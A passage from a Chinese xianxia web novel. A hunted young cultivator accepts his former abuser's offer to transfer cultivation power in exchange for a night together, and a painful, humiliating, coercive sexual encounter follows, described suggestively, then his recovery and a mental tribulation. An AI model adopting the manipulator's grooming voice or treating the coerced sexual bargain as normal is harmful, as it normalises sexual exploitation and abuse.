“寻一具身形相仿的无名尸首,布置成意外或修炼走火入魔的现场,留下你的随身信物,甚至……可以模拟一丝你体内‘乱’力暴走的残迹。”温言语速平缓,显然已经反复推敲过细节,“如此一来,天衡宗的缉令可以销案,官面的追查可以终止。你便能换一个完全清白的身份,从头开始。我可以为你安排远离京城、甚至远离北方的是非之地,南边或西陲,有些地方管控相对松散。” 这无疑是一个极具诱惑力的方案。彻底斩断过去所有麻烦,像一个真正的幽灵般消失,然后在阳光下达重获新生。云实几乎能想象那种卸下千斤重担后的轻松。 “只是,”温言眉头锁得更紧,“眼下时机太糟。整个体系都处于一种异常的警觉状态,任何非正常的死亡销案,尤其是涉及曾被通缉或关注的人员,都会受到比平时严格数倍的复核。没有万无一失的准备,没有足以掩盖所有痕迹的‘完美契机’,贸然行动,风险极高。一旦被看破,便是坐实了‘畏罪潜逃’或‘别有图谋’,不仅前功尽弃,还会连累所有经手的人,包括纸鸢,甚至白石坳。” 完美的契机……可这样的契机,何时才会来?在越来越紧的箍咒下,真的会来吗? 云实看着温言眼中那抹罕见的、因计划受阻而产生的郁色,知道他已经尽力在荆棘丛中寻找路径了。他点点头,低声道:“我明白。不急,我等得起。” 这话是说给温言听,也是说给自己听。 “假死”之路暂时被堵死,常规路径已然无望,云实知道自己不能干等。他请温言通过一些不那么正规、难以追查的渠道,帮他弄来了一些东西:最普通不过的麻布棉布,各种粗细的针线,几块属性混杂、品质低劣的常见矿石粉末,还有一些绘制简易符文可能用到的、不算罕见的植物汁液和矿物颜料。东西不多,也不起眼,堆在房间角落,像极了寻常人家准备做些手工活计的物料。 他开始对着那些好不容易从温言那里弄来的、关于基础炼器、符文乃至灵气引导的入门古籍,结合手头的材料,冥思苦想。这些书大多由那些正统出身的修士撰写,字里行间充斥着“顺应天道”、“调和阴阳”、“循序渐进”之类的正确废话,看久了只觉烦躁。 他放下书卷,揉了揉发胀的额角,目光无意识地落在那些粗糙的布料和杂乱的针线上。指尖拂过麻布粗粝的纹理,一种奇异的熟悉感涌上心头。他仿佛又回到了青石镇“云锦记”的后堂,空气中漂浮着棉麻纤维的微尘和染料的独特气味,父母在柜台前忙碌,弟弟妹妹在店堂里嬉笑穿梭…… “想家啦?” 一个带着笑意的声音突兀地响起,打断了云实的出神。予不知何时又翻墙进来了,正蹲在窗台上,探头探脑,脸上带着惯有的、仿佛永远不知愁的明朗笑容。他顺着云实的目光,也看到了那堆布料针线。 云实被他说中心事,也不否认,轻轻“嗯”了一声,脸上露出些许怅然。 “有点。不知道家里现在怎么样了。” 自从上次托予传递了让纸鸢小心行事、撇清关系的消息后,他便再没得到过家里的音讯。虽说父母弟弟妹妹应当平安,但那份牵挂始终萦绕心头。 予从窗台上跳下来,拍了拍身上并不存在的灰,走到那堆布料前,好奇地拨弄了一下线团,随即转向云实,拍了拍胸脯,语气轻松却认真:“这有什么难的!你要是担心,我跑一趟青石镇就是了!帮你看看叔婶和弟弟妹妹,给你带个口信回来!反正我在这京城也就是东一榔头西一棒子地混着,跑趟腿的事儿!” 云实愣住了,看着予那张尚带稚气却写满真诚的脸。他知道予在码头讨生活不易,京城到青石镇路途不近,往返一趟既耗时又费力,说不定还会耽误他好不容易找到的活计。 “这……太麻烦你了。路远,而且……”云实有些犹豫。 “哎呀,云实哥,跟我还客气啥!”予大手一挥,满不在乎,“咱们是朋友不是?朋友之间互相帮忙,天经地义!再说,我在京城也待腻了,正好出去透透气!你放心,我机灵着呢,保准把事情办得妥妥帖帖,把你的问候带到,再把家里的情况给你摸得清清楚楚带回来!” 朋友……云实看着予亮晶晶的、不含一丝杂质的眼睛,心中涌起一股暖流。在经历了苏妄的扭曲、温言复杂难言的关系、以及种种算计与挣扎后,“朋友”这两个字,从予嘴里说出来,显得如此简单而珍贵。 他没有再推辞,郑重地点了点头,眼眶有些发热。 “予,谢谢你。真的……够意思。” “这就对啦!”予咧嘴笑了,露出一口白牙,“你等着,我这就去收拾一下,明儿一早就出发!保证快去快回!” 日子在一种表面的平静与内里的悬而不决中滑过。温言似乎真的被某些棘手事务缠住了,来的次数明显稀疏,即便出现,也常是带着一身掩不住的倦色,匆匆交代几句,留下些物资,便又离去。云实知道,那假死脱身的谋划,还有应对越来越紧张的局势,必定耗费了温言极大的心力。 予已经出发了好几日,算算脚程,或许都快到青石镇了。想到予带回的家人口信,云实心中既有期待,也有一丝不安。他强迫自己专注于手中的一块麻布,指尖尝试沿着布料的纹理,勾勒出记忆中苏妄曾展示过的、最基础也最扭曲的引导纹路的一角。 就在这时,小院那始终安静运转、隔绝内外的防护阵法,忽然极其轻微地波动了一下。 那波动细微得如同蜻蜓点水,若非云实此刻精神正高度集中于指尖那点微弱力量与布料的接触,几乎无法察觉。他猛地顿住,抬头望向院门方向——空无一人,阵法光幕依旧稳定。 是错觉?还是温言临时回来了? 他刚想起身查看,一个声音却从他身后,几乎贴着耳廓响了起来,带着那股他永世难忘的、漫不经心又浸着寒意的腔调: “啧,窝在这四方天里,摆弄这些破烂玩意儿……小云实,你是在学女红,还是打算开个裁缝铺子,重操旧业啊?” 云实浑身的血液仿佛瞬间冻结,又轰然冲上头顶。他脖颈僵硬,一寸寸地扭过头。 苏妄就站在他身后半步远的地方,依旧是那身辨识度极高的红黑二色衣袍,只是款式似乎随意了些,长发也未束冠,几缕散漫地垂在肩侧。他微微歪着头,正饶有兴味地打量着石桌上散落的布料、线团和那几本翻开的古籍,嘴角噙着一抹似笑非笑的弧度。他是如何进来的?阵法为何毫无反应?这些疑问在巨大的惊骇面前显得苍白无力。 “你……”云实喉咙发紧,只挤出一个字,身体已本能地后撤半步,背脊抵住了冰冷的石桌边缘。心脏在胸腔里疯狂擂动,恐惧像冰冷的藤蔓瞬间缠裹上来。 “我?我怎么找来了?”苏妄替他把话说完,向前踱了一小步。他伸手,用两根手指捻起云实刚刚涂鸦过的那块麻布,对着光线看了看上面那歪歪扭扭、几乎不成形的灵力残迹,嗤笑一声,“就凭你身上这颗我亲手种下的‘小种子’,还有这满院子试图安抚它却差点把它闷死的无聊阵法?找到你,比找到我养的那只总爱乱跑、却又会在爪子上沾惹独特香料的狸奴还要容易些。” 他将布料随手丢回桌上,目光这才真正落到云实脸上,那双总是让人看不清真实情绪的眼眸,此刻清晰地映出云实苍白紧绷的脸。 “看起来,温言把你养得不错嘛,至少没缺胳膊少腿。就是这眼神……”他凑近了些,几乎能感受到彼此的呼吸,“怎么,见到旧主,连句像样的问候都没有?还是说,在温监察使的温柔乡里待久了,忘了该怎么跟我说话了?” 云实猛地抬起头,直视着苏妄,尽管指尖仍在微微颤抖,声音却竭力维持着平稳:“这里不欢迎你。温言随时会回来。” “哦?拿他吓我?”苏妄挑眉,非但不退,反而直接在对面的石凳上坐了下来,姿态闲适得像是在自家后院,“放心,我就是挑他没空的时候来的。堂堂四明宗监察使,最近可是忙得焦头烂额呢,既要应付上头越来越莫名其妙的紧箍咒,又要绞尽脑汁为他捡回来的‘小麻烦’筹划后路……啧,真是情深义重,感人肺腑。” “你来到底想干什么?” 苏妄没有立刻回答,他环顾着这方被阵法笼罩、整洁却压抑的小院,目光掠过那些显然是温言风格的、力求稳妥周全的布置,最后又落回云实身上,那眼神里少了些戏谑,多了点难以捉摸的审视。 “看来,温言告诉你的事情不少。”苏妄用的是陈述句,“关于上面在收紧,关于‘假死’不易,关于……你那点可怜的小发明,可能引来了不必要的目光。” 云实心中一凛,苏妄果然知道!而且知道得如此具体! “你很惊讶?”苏妄似乎很享受他这种反应,“这京城里,但凡有点意思的风吹草动,只要我想知道,总有办法知道。更何况,事情还牵扯到我‘曾经’感兴趣的小玩意。” 他刻意加重了“曾经”二字,仿佛在提醒云实那段不堪的过往。 “镇北侯府那帮蠢材,盯着几匹破布找茬,真是蠢得让人发笑。不过,他们歪打正着的本事,有时候也挺烦人,对不对?” 他顿了一下,身体微微前倾,声音压低了些,却带着更强的穿透力:“小云实,你在这里,像个被精心收藏的易碎古董,等着温言给你找一条或许根本不存在的‘生路’。你有没有想过,他为什么对你这么好?仅仅是因为‘欣赏’?还是因为……你身上有他,或者他背后某些人,想要的东西?或者,干脆就是因为,你这枚棋子,在某些棋盘上,还没走到该走的位置?” “不用你挑拨。”云实声音干涩,“我和温言之间的事,与你无关。” “与我无关?”苏妄像是听到了什么天大的笑话,低低笑了起来,笑声却没什么温度,“你走的这条歪路,甚至你现在能站在这里思考这些问题的脑子,哪一样离得开我?你可以恨我,可以利用我,甚至可以想着有朝一日杀了我……但你永远没法说与我无关。我们早就绑在一起了,像一根藤上结出的两个扭曲的瓜。” 他站起身,走到云实面前,居高临下地看着他,那目光如同实质,刮过云实每一寸紧绷的皮肤。 “温言给你画的饼,听着很美,是吧?换个身份,远走高飞,安安稳稳……可这世道,哪里有什么真正的安稳?哪里有什么地方,能容得下你这种‘异类’长久栖息?他或许是真想护着你,可他的力量,在这越来越不讲道理的大势面前,又算得了什么?” 云实知道苏妄说的部分可能是事实,温言的处境确实艰难,前路也的确渺茫。但…… “所以呢?”云实抬起头,迎上苏妄的目光,尽管脸色依旧苍白,眼神却努力凝聚起一丝力量,“你来找我,就是为了告诉我温言靠不住,我死路一条?然后呢?再看我像从前一样,跪下来求你,像抓住救命稻草一样抓住你,哪怕明知道是饮鸩止渴?” 苏妄的眼神微微闪动了一下,似乎没料到云实会如此直接地反问。他沉默了片刻,那玩世不恭的笑容淡去些许,取而代之的是一种更复杂、更幽深的神情。 “要不你跪下来求我?”他语气有些微妙,“不,你现在……大概是不肯了。”他话锋一转,“我来,当然不是只为了说风凉话。我是来给你提个醒,顺便……看看你这个小实验,到底走到哪一步了。” 云实抿紧嘴唇。 苏妄像是看穿了他的心思,轻笑一声:“那也比跟着我好,是不是?至少,温言不会强迫你做什么,还会温柔地哄着你,许诺你一个也许永远无法兑现的未来。” “你……”云实想反驳,却发现言语苍白。 “别这么有攻击性,”苏妄摆摆手,语气忽然变得有些循循善诱,像在引导一个迷路的孩子,“我猜,你讨厌的不仅仅是这个院子,是这套规则,对吧?这套把你这样的人生生划为异类,让你东躲西藏,让你珍视的人和事随时可能因为一点风吹草动就陷入危机的规则。你恨它,但又怕伤了温言的心,因为他毕竟是这套规则里对你最好的人,所以你只能像只被驯服的猫一样,蜷在这里,假装自己还能忍受,对不对?” 看着云实眼中剧烈翻涌的情绪,苏妄知道自己的话起了作用。他走近两步,声音压低,带着一种近乎蛊惑的磁性:“你是那颗种子里,目前活得最长的。看在这点缘分上,我点拨你两句。”他顿了顿,直视着云实的眼睛,“抛开所有顾忌,想象一下,假如……假如你有我这样的修为,站在我这个位置上,你想干什么?” 这个问题太过突兀,也太过宏大。云实愣住了。拥有苏妄那样的修为?那个喜怒无常、实力深不可测、连温言都忌惮三分的“序乱”仙尊?他从未敢如此设想。 但苏妄的目光不容他回避,仿佛非要他给出一个答案。云实被迫认真思考起来。如果有那样的力量…… “我……”他迟疑着,脑海中第一个浮现的,是青石镇父母日渐佝偻的背影,是弟弟妹妹清澈的眼眸,“首先,大概……是让家里人过上好日子,不用再为生计发愁,不用再仰人鼻息。” 这是最朴实、最本能的愿望。 然后呢?他想起纸鸢独自支撑生意的艰辛,想起这世间无数像他们一样,在生活的重压下挣扎求存的普通人。 “然后……大概是让像他们一样的人,都能过得好一些吧。” 这个念头模糊而宏大,甚至有些幼稚,但确确实实是他心底的声音。 “我……我不知道为什么,这套规则,好像总是让普通人过得特别痛苦。”他喃喃道,想起了测灵根时的失落,想起了仙凡之间的天堑,想起了镇北侯府仅仅因为一点疑心就能带来的压迫。 苏妄听着,脸上没有任何嘲笑的表情,反而像是听到了什么有趣的东西,眼中闪烁着奇异的光芒。 “普通人痛苦就对了。墙外的一些人,认识到活着本身就是受罪,所以他们发明了原罪,安在自己和所有人头上,用忏悔和赎罪来消解痛苦。我觉得那很可笑,但也算是一种应对。”他话锋一转,看向云实,“但活着本身就是不讲道理的,苦难的分配也从来不公平。我当初改变你的人生轨迹,把你拖进这滩浑水,不是因为一时兴起。任何体系,久了都会僵化、腐朽,需要变革者,需要搅动死水的鲶鱼。你,就是我随手丢进去的一条小鲶鱼,看看你能激起多大的浪花。” 变革者?鲶鱼?云实被苏妄话语中透露出的、对现有体系的漠然甚至敌意震住了。他从未从这个角度思考过苏妄的行为。 “温言,”苏妄忽然提到了这个名字,语气带着一丝玩味的嘲弄,“他舍不得他现在的位置,舍不得四明宗监察使的名头,舍不得他小心翼翼维持的平衡和秩序。他或许对你有几分真心,但这份真心,绝对敌不过他对这套规则的维护。你信不信,只要你敢在他面前提‘变革’二字,提颠覆现有的秩序,他立刻就会翻脸,比谁都快地把你押回去?” 云实脸色一白。他不敢想,也不愿相信。 苏妄似乎很满意他的反应,又向前逼近一步,两人之间的距离近得有些危险。他压低声音,用只有两人能听到的音量说,语气里带着一种恶魔般的诱惑:“其实,有个更快的办法。不需要你苦苦挣扎,不需要你等温言那虚无缥缈的计划,也不需要你去冒险变革什么。” 他停顿了一下,目光在云实脸上逡巡,仿佛在欣赏一件即将到手的艺术品。 “你要是再乐意陪我一晚,满足我的所有要求,”苏妄的声音轻得像羽毛,却重如千钧,“我真的会把我的修为……送给你。不是借,不是传功,是真正剥离一部分,渡给你。然后,你就有资本了。有资本保护你的家人,有资本去做你想做的‘让所有人过得好一点’,甚至……有资本去质疑,去改变你讨厌的这套规则。” 用一夜,换取苏妄那深不可测的修为?这简直是天方夜谭,是魔鬼的交易!云实的心脏几乎要跳出胸腔,巨大的震惊和本能的反感让他几乎要立刻拒绝。但内心深处,某个极其阴暗的角落,却因为这诱惑而剧烈颤抖起来。力量……足以改变一切的力量……如果有了那样的力量…… 他猛地向后仰去,脊背重重撞在冰冷的石桌边缘,疼痛让他清醒了几分。 “你……”他的声音干涩得厉害,“你又想玩什么把戏?拿走我的……再给我你的?苏妄,我不是你手里的泥人,随便你怎么捏!” “把戏?”苏妄笑了,这回的笑意似乎真了几分,带着一种近乎天真的残忍,“不,小云实,这次很公平。我看重你,看重你这颗种子挣扎求活的劲头,看重你对这狗屁规则无意识的憎恶。你比那些在温言这种‘好人’呵护下早早认命的废物有趣得多。给你力量,就像给一把好刀开刃,我想看看,你能劈开多少令人作呕的虚伪。” 他向前倾身,无形的压迫感让云实几乎窒息。 “一晚而已。放下你那点可笑的尊严和防备,像以前在大自在天那样……不,比那时更彻底。取悦我,满足我。然后,你就能拥有改变一切的基础。想想看,你家里人再也不用看人脸色,白石坳的村民可以挺直腰杆,纸鸢不用再对什么侯府管事赔笑脸……甚至,你可以站到温言面前,问问他,如果有了掀翻棋盘的力量,他还愿不愿意站在你这边?” 家人、朋友、那些他在乎却无力庇护的普通人……还有温言。那个承诺带他“回去”,却又被无形枷锁困住的温言。如果他强大到足以无视那些枷锁呢? “你为什么……非要是我?”云实的声音带着颤抖,不是害怕,而是一种极度的困惑与疲惫,“你有那么多人可以选,为什么总要盯着我不放?” 苏妄直起身,目光掠过云实苍白的脸,投向院落上空那无形的阵法屏障,仿佛能穿透它,看到更辽远也更令人厌倦的图景。 “因为大多数人,要么早就认命,成了规则的一部分,比如温言;要么在认命的路上,比如你那些同期弟子;要么就是纯粹的蠢货或疯子,除了破坏什么也干不了。”他的目光重新落回云实脸上,带着一种奇异的专注,“你认过命,但又总在关键时刻不肯认到底。你恨我,却又不得不承认我给你的东西让你看到了不一样的世界。你依赖温言,却又本能地察觉他的庇护是一种温柔的窒息。你在‘乱’与‘序’的夹缝里,自己都没搞清楚自己想往哪边倒,这种混沌的状态……很有趣,也很有潜力。我需要一个变数,云实。这个体系太老了,老得散发着腐臭味,偏偏还自认为运转良好。温言那样的人,只想修修补补,维持它不要立刻垮掉。但有些东西,烂透了,修补不如打碎重来。我自己懒得动手,也……未必是最合适的人选。”他的指尖轻轻一动,一缕微不可察的、带着混乱序章气息的灵力拂过云实的脸颊,冰冷而酥麻,“而你,一个从最底层被强行拽上来,见识过它的不公,体会过它的残酷,心里还存着点可笑善意的‘异类’……如果有了力量,你会做些什么呢?我真的很想看看。” “所以,你是在……加注?”云实觉得这个词用在如此诡异的情境下无比荒谬。 “你可以这么理解。”苏妄收回手,负在身后,姿态重新变得疏离,“一场高风险,也可能高回报的观察。赌注是我的一部分修为,赌的是你会不会长成我期待的有趣模样。至于陪我一晚……”他嘴角勾起一个暧昧又冰冷的弧度,“那单纯是我想索要的报酬。当然,已经给你打了很大的折,甚至说相当于免费给你了。” 院子里陷入了漫长的沉默,两条路都看不清尽头,都充满风险。 选择温言,意味着继续等待,继续依赖,继续将希望寄托于他人的周旋,并且永远无法摆脱内心深处对力量不足的恐惧与对不公规则的无力。 选择苏妄……意味着主动拥抱曾经的梦魇,用最不堪的方式换取一个翻天覆地的可能性。他能信任苏妄的“馈赠”吗?得到力量后,他真的能如苏妄所说,去改变什么,而不是被这力量本身吞噬或变成另一个苏妄? “我……”云实张开嘴,却发现声音堵在喉咙里。拒绝的话几乎要冲口而出,对苏妄的本能抗拒和对温言的复杂情感都在拉扯着他。但与此同时,苏妄描绘的那个“拥有力量后”的世界,像黑暗中的一缕妖火,明明知道危险,却散发着致命的吸引力,照亮了他内心深处蛰伏已久的不甘与野心。 “我需要时间……考虑。”他听到自己这样说,声音沙哑得不像自己的。 “时间?”苏妄轻嗤一声,声音凉薄,“我最讨厌的,就是优柔寡断和自以为是。机会只有一次,摆在眼前。要,还是不要?现在,回答我。你若真不想要,我转身就走,绝不会再来。” 没有余地,没有缓冲。 就在苏妄似乎彻底失去耐心,肩膀微动,真的准备就此消失的刹那—— “等等!” 云实的声音冲破了喉咙的阻滞,干涩,却异常清晰,在寂静的院落里显得突兀而决绝。 苏妄的动作停住了,缓缓地、完全转过了身。月光下,他的脸上没有什么得意或惊讶的表情,依旧是那种近乎漠然的平静,仿佛一切都在预料之中,只是眼底深处,掠过一丝极淡的、属于捕猎者的幽光。 “我……”云实深吸一口气,“我同意。但是……有些问题。” “问。”苏妄言简意赅,走回石桌旁,却没有坐下,只是居高临下地看着他。 “怎么……传?”云实问出了最核心的疑惑,也是恐惧的来源。苏妄的力量,那庞大而扭曲的“序乱”修为,如何能进入他这具脆弱的、才刚刚稳固在锚定期的身体而不将他彻底撑爆? “还算没蠢到家,知道问这个。”苏妄语气里听不出褒贬,“你体内现在这颗,是你自己挣扎出来的丹,虽然弱,总算与你神魂有了一丝联系,算是‘真的’。我直接灌修为给你,就像把江河倒进茶杯,下场你很清楚——‘砰’。” 他做了个轻微爆炸的手势。 “所以,需要媒介。一颗特制的人造内丹,品级很高,我手里也只有两颗。”苏妄从袖中取出一个非金非玉、色泽暗沉、刻满诡异螺旋纹路的盒子,只有婴儿拳头大小,“你吞下它。它会附着在你原有的内丹周围,像一层……额外的、更坚韧的壳,或者说,一个高级的缓冲池。” 他打开盒子,里面静静躺着一枚龙眼大小、表面流淌着暗银与深灰交织光泽的丹丸,没有药香,反而散发着一股金属与混沌交织的冰冷气息。 “我渡给你的修为,会先暂存在这里面。”苏妄指尖轻点那枚奇异的内丹,“你需要学习的,是如何一点点引导、借用其中的力量,而不是让它一次性冲垮你。原理嘛……”他嘴角勾起一个莫测的弧度,“就是欺骗。用这颗丹模拟出强大修为运行的轨迹和波动,欺骗你的身体、经脉、甚至天地灵气,让它们‘认为’你已经很强了。在这种‘欺骗’下,你的身体会为了匹配这种认知而被动改造、强化,吸收灵气的速度也会加快。久而久之,假戏真做,假的也就成了真的。至于天劫……”他耸耸肩,“那是这套规则自带的‘校准程序’,你借来的力量能否完全变成你自己的,或者会不会引来更麻烦的东西,看你自己造化。渡不渡,怎么渡,随你。” “那……会被看出来吗?”云实最担心这一点。 “这就是它‘高级’的地方。”苏妄指尖拂过那暗银色的丹丸表面,“它的‘欺骗’是双向的。不仅能欺骗你自身,也能在极大程度上模拟出正常的、符合某种属性,但不过分出格的灵力波动。只要你不主动全力爆发,或者遇到专门针对此道进行细致入微探查的大能,被发现的风险很低。”他看向云实,眼神幽深,“当然,你自己也要演得像。力量可以隐藏,但心性、见识、对力量的运用习惯,这些细节需要你慢慢打磨,让自己配得上这份突如其来的进步。” “那我以后……具体要怎么用它?能到什么程度?”云实追问,这关乎他未来的路。 “它能给你一个很高的起点,或者说,保底。”苏妄合上盒子,但没有递给云实,“足以让你稳稳站在领域期的门槛内。用它修炼,速度会比寻常修士快上许多。但是,”他话锋一转,语气严肃了些,“它不保证你的上限。修行终究关乎神魂、悟性与心性。能走多远,最终取决于持剑的人。至于你现在的停滞……” 苏妄的目光扫过云实,仿佛能透视他丹田内那枚沉寂的异丹和缠绕其上的无形枷锁。 “心魔也好,执念也罢,根源在你自己的神魂深处。为什么会有,我懒得猜,也未必猜得准。但这颗高级货,或许能帮你强行冲开一些阻碍,因为它提供的强大错觉本身,就可能压倒某些源于弱小和恐惧的心魔。当然,也可能让心魔以另一种更狰狞的形态出现。风险与机遇,一体两面。” 解释完毕,苏妄不再说话,只是看着云实,等待他最终的确认。那枚装着奇异内丹的盒子,在他掌心散发着无声的诱惑与威胁。 云实闭上了眼睛。 再次睁开眼时,他眼底的迷茫与挣扎褪去,只剩下一种孤注一掷的清明,以及深藏其中的、对即将到来之事的恐惧与决绝。 “我同意。”他听到自己说,声音平静得有些陌生。 苏妄脸上那点仅存的、近乎漠然的平静,如同被投入烈火的薄冰,瞬间消融殆尽。取而代之的,是一种毫不掩饰的、灼热到近乎癫狂的兴味,那眼睛里骤然亮起的光,绝非审视,而是纯粹的、看到渴望已久的玩物终于主动踏入笼中的兴奋。 “很好。”他吐出两个字,声音里带着一丝愉悦的沙哑,随手将那装着奇异内丹的盒子放在石桌上,仿佛那珍贵之物此刻已无关紧要。 房内。 预想中的剧痛还未完全蔓延开,苏妄已覆身上来,不是缓慢的压制,而是如同饥饿已久的兽,带着一股焚尽一切的、混乱的热意将他彻底淹没。苏妄的动作恣意而狂乱,仿佛不是在征服一个具体的人,而是在纵情享受一场由他主导、却又渴望被其中风暴反噬的狂欢。疼痛是有的,尖锐而密集,却仿佛只是这场疯狂盛宴中刺激味蕾的辣意;屈辱也如影随形,却在对方同样毫不保留的、近乎自我献祭般的投入中,扭曲成一种怪异的、共坠深渊的粘稠感。 苏妄时而强横如摧城的风暴,时而又会在某个瞬间,将掌控权交递出来,用眼神、用气息,甚至用本能难以自抑的颤栗,诱引着、甚至逼迫着云实去反应,去对抗。他不仅从施加予人的痛苦与掌控中获得快意,更从对方被迫或本能回馈的每一丝颤抖、每一次破碎的呼吸、无法完全熄灭的恨意与挣扎,汲取着更病态的欢愉。 云实感觉自己像被卷入了一个狂暴的漩涡,苏妄是漩涡的中心,也是漩涡本身。他不仅被撕扯、被吞噬,偶尔,在那混沌的力场中,他仿佛也触摸到了漩涡深处某种同样渴望被撕碎、被颠覆的疯狂内核。 时间在痛苦的火焰与恍惚的空白中被烧灼得变形、拉长。就在云实觉得自己的意识即将在这无尽的疯癫漩涡中被彻底绞碎、化作虚无的尘埃时,苏妄的动作突兀地停滞了一瞬。 那双被纯粹的情意和某种更深邃的疯狂烧得灼亮的眼睛,近距离地锁住云实涣散的瞳孔。没有言语,只有一种近乎野蛮的、完成某种仪式的笃定。他捏开云实的下颌,将那枚冰冷滑腻的奇异内丹不容抗拒地塞了进去,随即,是更深、更彻底的进犯与连接。 “唔——!” 难以言喻的恐怖洪流,在这一刻,自相合处轰然爆发,席卷而来。苏妄那身狂暴的修为,混合着他此刻极端情绪与纯粹欲望的凝结,如同最灼热也最酷烈的岩浆,沿着被强行开辟的通道将力量倾注。 云实自己的内丹,在这恐怖冲击下疯狂震颤,几乎要碎裂。但就在此时,那枚刚刚吞下、已滑至丹田附近的人造内丹,猛地被激活!它发出低沉嗡鸣,表面暗银与深灰的光泽如同活物般流转,形成一个贪婪而高效的漩涡,将奔涌而来的狂暴力量绝大部分强行吸纳、束缚、过滤、转化! 即便如此,溢出的、未被立刻转化的部分力量,以及那枚人造内丹本身与云实身体融合带来的冲击,依然如同千万把烧红的钢针,从他体内最细微的经脉末梢向外穿刺!比之前所有□□痛楚加起来还要剧烈百倍的、源自生命本质层面的剧痛,让他身体绷成一道绝望的弧线,喉咙里挤出不成声的嘶气,眼前炸开一片混沌的、掺杂着银灰与暗红的扭曲光斑。 而苏妄,在这力量狂泻而出的瞬间,发出了一声满足到近乎战栗的悠长叹息。他甚至没有立刻退开,而是就着这最后的姿态,俯在云实耳边,气息灼热而凌乱,声音低哑得像是从喉咙深处磨出来: “接好了……我的小疯子……看看你能……长出什么……” 话音未落,那最后一波力量,裹挟着苏妄一缕近乎虚无缥缈、却带着其本源印记的神念,狠狠撞入那枚人造内丹深处,完成了最后的激活。 云实的意识,在这终极的冲击下,如同被巨浪拍碎的舢板,瞬间沉入了无边无际的黑暗。最后残存的感知,是丹田处传来的、一种沉重的、异物深深扎根并与自己那枚微弱异丹建立起诡异共生联系的实质感,以及……那枚人造内丹内部,开始自动流淌起来的、冰冷而强大的、陌生的力量循环。 不知过了多久。 冰冷。僵硬。无处不在的、深入骨髓的酸痛。还有一种……空旷的、仿佛被彻底掠夺后又强行填塞了异物的怪异饱胀感。 云实缓缓睁开眼,视线模糊,只能看到头顶院落上方那方依旧昏暗的、蒙着破晓前青灰色的天空。他独自躺着,身上随意盖着自己的的外袍。 苏妄早已不见踪影,连同石桌上那个盒子。院落里寂静无声,阵法如常,仿佛昨夜那场焚身蚀骨的疯狂盛宴,只是一场过于真实和漫长的噩梦。 但身体各处残留的、几乎要散架的剧痛,皮肤上清晰的指痕与淤青,以及丹田处那截然不同、无法忽视的存在感,都在冰冷地陈述着现实。 他极其缓慢地、试探性地动了一下手指。每一个微小的动作都牵扯起一片细密的酸痛。他艰难地,用尽全身力气,微微抬起头,看向自己的手,然后,尝试着,以意念去触碰丹田。 那里,景象已然大变。自己的异丹它被一层流动的、奇异物质紧密地包裹、缠绕、承托。这外来的壳寂静地运转着,内部蕴含着磅礴而有序的力量,正以缓慢而稳定的速度,释放出极其精纯温和的一丝丝气息,反哺着他干涸的经脉和虚弱的异丹,同时也将一种陌生的、强大的运行规则,隐隐烙印进他的感知。 没有立刻获得毁天灭地力量的错觉,只有一种沉重的、与庞大异物共生的不适。 天,快要亮了。 …… 云实不知躺了多久,意识浮浮沉沉,时而陷入无边黑暗,时而被身体各处的剧痛和丹田那异物盘踞的沉重感拉扯回现实。天亮了又暗,暗了又亮,几次轮转,他就像一具被暴风雨冲刷上岸的残破躯壳,只剩下最本能的细微呼吸。 直到某个时刻,一种更尖锐的、源自脏腑的抽痛将他彻底刺醒。不是昨夜残留的创伤,而是身体长时间受寒、重伤未愈、且被强行灌注异种能量后发出的濒临崩溃的疼痛。他知道不能再躺下去了,再躺,或许就真的再也起不来,烂在这方无人知晓的院落里,成为苏妄又一个心血来潮后随手丢弃的失败实验品。 这个念头像冰锥一样扎进混沌的脑海,激起了最后一丝求生欲。他开始尝试移动手指,然后是手臂,每一个微小的动作都伴随着肌肉和骨骼仿佛要碎裂的剧痛,以及丹田处那枚“暗银外壳”随之产生的、微弱却不容忽视的牵扯感。他咬紧牙关,额头上渗出豆大的冷汗,一点一点,把自己从冰冷的地面上撑起来,靠着背后粗糙的石桌腿,大口喘着气。 歇息了片刻,积蓄起一点点可怜的气力,他艰难地盘起腿,摆出修炼的姿势。这不是为了精进,而是为了活命。他闭目内视,首先看到的不是灵气,而是体内一片狼藉——经脉多处暗伤,气血淤滞,许多地方覆盖着昨夜留下的青紫“印记”,丹田处那枚奇异的内丹组合则静静悬浮,散发着稳定的、与他自身微弱灵力格格不入的波动。 他尝试引动乱力疏通淤塞的经脉。过程痛苦而缓慢,暗银外壳似乎感知到了他身体的极度虚弱和修复的意图,自发地流淌出一缕极其精纯温和的能量。这能量与他自身的力量属性相近,却更为有序和强大,如同最上等的金疮药,所过之处,不仅迅速修复着暗伤,更将那些皮肉上的淤青以肉眼可见的速度化开、消散。 云实此刻无暇细究。他借助这股外来的援助,全力运转,将苏妄留下的最后一点暴戾气息和身体创伤逐一抚平。这个过程持续了整整一天一夜,当他再次睁开眼时,虽然身体依旧沉重乏力,丹田异物感鲜明,但至少表面的伤痕已经消失,内里的暗伤也好了七七八八,不再有即刻崩溃的危险。 他扶着石桌慢慢站起,腿脚还有些发软。换了身干净的衣物。还没等他适应丹田那迥异的存在感,甚至没来得及仔细探究那“暗银外壳”更多的奥秘,预料之中、却又来得过于迅疾的“东西”,便找上门来。 不是雷劫,没有风火。这一次的天劫,无形无质,却更为凶险——直指道心。 毫无征兆地,周遭的景象骤然扭曲、褪色。小院、石桌、天空,一切都消失了,取而代之的是一片绝对的、令人窒息的黑暗与寂静。 紧接着,无数破碎的画面、声音、感受,如同挣脱牢笼的凶兽,从他记忆和意识的最深处咆哮着冲撞出来! 他看到苏妄在界碑林那张带着玩味笑意的脸,听到他在大自在天那些冰冷又蛊惑的话语,感受到昨夜那焚身蚀骨般的痛苦与屈辱混杂着奇异力量的冲击……这些关于苏妄的碎片,不再是单纯的记忆回放,每一段都被放大了百倍的情绪色彩——恨意在燃烧,恐惧在尖叫,被支配的无力感如同沼泽将他拖拽,还有那一丝连自己都不愿承认的、对那极致力量刹那的贪慕与动摇……种种情绪化为实质的尖针,狠狠扎刺着他的神魂,让他头痛欲裂,几乎要嘶吼出来。 画面陡然被撕裂,流衍的存在硬生生撞进识海——不是带着温度的回忆,而是“禁闭”这个事实本身,携着铁锈与冰碴的质感,重重夯下。 为什么告诉他? 那念头像烧红的铁签,反复烙过神经。没有场景铺陈,没有情绪缓冲,只剩下最干硬、最刺目的因果链条:是他害的。是他将自己本该独自吞咽的麻烦,不由分说塞进了对方手中。禁闭。被关起来。一切皆因他多嘴。这认知化作一把钝刀,在胸腔里缓慢碾磨。 这滋味比憎恨苏妄更甚,毒 